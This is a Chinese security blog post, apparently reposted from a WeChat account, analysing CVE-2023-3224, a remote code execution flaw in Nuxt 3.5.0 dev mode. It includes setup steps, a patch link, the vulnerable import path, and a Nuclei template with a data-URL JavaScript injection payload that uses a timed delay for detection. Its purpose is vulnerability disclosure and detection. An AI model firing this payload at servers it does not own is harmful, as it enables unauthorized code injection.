CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

渗透技巧 1年前 (2023) admin
389 0 0

点击上方[蓝字],关注我们

建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!因为公众号现在只对常读和星标的公众号才能展示大图推送。

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

文章正文


CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)


环境

https://nuxt.com/docs/examples/essentials/hello-world

照着这个创建文件,然后修改package.json里nuxt的版本号

{
  "name": "example-hello-world",
  "private": true,
  "scripts": {
    "build": "nuxi build",
    "dev": "nuxi dev",
    "start": "nuxi preview"
  },
  "devDependencies": {
    "nuxt": "3.5.0"
  }
}

补丁

https://github.com/nuxt/nuxt/commit/65a8f4eb3ef1b249a95fd59e323835a96428baff

分析

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

如果服务器以dev模式运行并且请求的url以/__nuxt_component_test__/开头,那么引入#build/test-component-wrapper.mjs


#build/test-component-wrapper.mjs中会截取query string然后import,造成rce。

poc:

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

当引入child_process执行命令时,报错500

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

这个时候需要用node_modules里别的gadget。

poc

编写模板时,要考虑怎么做验证,有的没办法执行命令,干脆用sleep延时来判断,然后发现nuxt在渲染时有缓存,如果两次payload一致时只会sleep一次,所以加了个随机数。

id: CVE-2023-3224

info:
  name: nuxt developer mode RCE
  author: Y4er
  severity: critical
  description: |
    RCE in developer mode in nuxt/nuxt    
  reference:
    - https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-3224
    cwe-id: CWE-94
  tags: cve,cve2023,rce,http,vmware

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_component_test__/?path=data:text/javascript,await%20new%20Promise(resolve%20=%3E%20setTimeout(resolve,%206000));console.log('{{randstr}}')"

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'

参考

https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/

文章来源:https://y4er.com/posts/cve-2023-3224-nuxt-dev-mode-rce/作者:Y4er


技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

学习圈子

一个引导大家一起成长,系统化学习的圈子。如果看到这里的师傅是基础不够扎实/技术不够全面/入行安全不久/有充足时间的初学者…其中之一,那么欢迎加入我们的圈子。在圈子内会每周规划学习任务,提供资料、技术文档,供大家一起学习、交流,由浅入深、层层递进。(点我了解详情

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

交流群

关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

关注我们


点个【 在看 】,你最好看


原文始发于微信公众号(Z2O安全攻防):CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

版权声明:admin 发表于 2023年6月29日 下午9:12。
转载请注明:CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...